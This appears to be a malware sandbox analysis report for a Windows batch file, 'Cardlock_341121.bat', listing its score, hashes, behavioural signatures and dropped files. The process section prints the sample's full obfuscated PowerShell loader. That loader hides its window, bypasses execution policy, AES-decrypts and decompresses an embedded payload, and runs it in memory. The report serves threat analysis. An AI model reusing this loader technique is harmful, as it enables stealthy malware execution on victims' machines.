Overview

overview

8

Static

static

Cardlock_341121.bat

windows7-x64

8

Cardlock_341121.bat

windows10-2004-x64

8

Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/01/2023, 14:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Cardlock_341121.bat
  • Size 59KB
  • Sample230111-rf4vhsha81
  • SHA256 d3850a52c492fd7be069cf02e5ca9da6bff3d30fa09b97aa3e9c79979f96d170
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe
      "Cardlock_341121.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $XTQAJ = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat').Split([Environment]::NewLine);foreach ($IZwgy in $XTQAJ) { if ($IZwgy.StartsWith(':: ')) { $GtysS = $IZwgy.Substring(3); break; }; };$wITtD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($GtysS);$koyaJ = New-Object System.Security.Cryptography.AesManaged;$koyaJ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$koyaJ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$koyaJ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SychF8I561GWEMlxtN8++CMaf76H871o2t4LtIfb91s=');$koyaJ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h5tRjioHQN+zscLiG3ARFg==');$OKnOI = $koyaJ.CreateDecryptor();$wITtD = $OKnOI.TransformFinalBlock($wITtD, 0, $wITtD.Length);$OKnOI.Dispose();$koyaJ.Dispose();$QzGPh = New-Object System.IO.MemoryStream(, $wITtD);$SSeOQ = New-Object System.IO.MemoryStream;$yDqgG = New-Object System.IO.Compression.GZipStream($QzGPh, [IO.Compression.CompressionMode]::Decompress);$yDqgG.CopyTo($SSeOQ);$yDqgG.Dispose();$QzGPh.Dispose();$SSeOQ.Dispose();$wITtD = $SSeOQ.ToArray();$leFDo = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($wITtD);$GNwko = $leFDo.EntryPoint;$GNwko.Invoke($null, (, [string[]] ('')))
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:740

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Cardlock_341121.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        Cardlock_341121.bat.exe
        • Path C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe
        • Size 442KB
        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
        • MD5 SHA1 SHA512 SSDEEP
        Submit Download

        memory/740-134-0x0000027009AA0000-0x0000027009AC2000-memory.dmp
        Download

        memory/740-135-0x00007FF83C610000-0x00007FF83D0D1000-memory.dmp
        Download

        memory/740-137-0x00007FF83C610000-0x00007FF83D0D1000-memory.dmp
        Download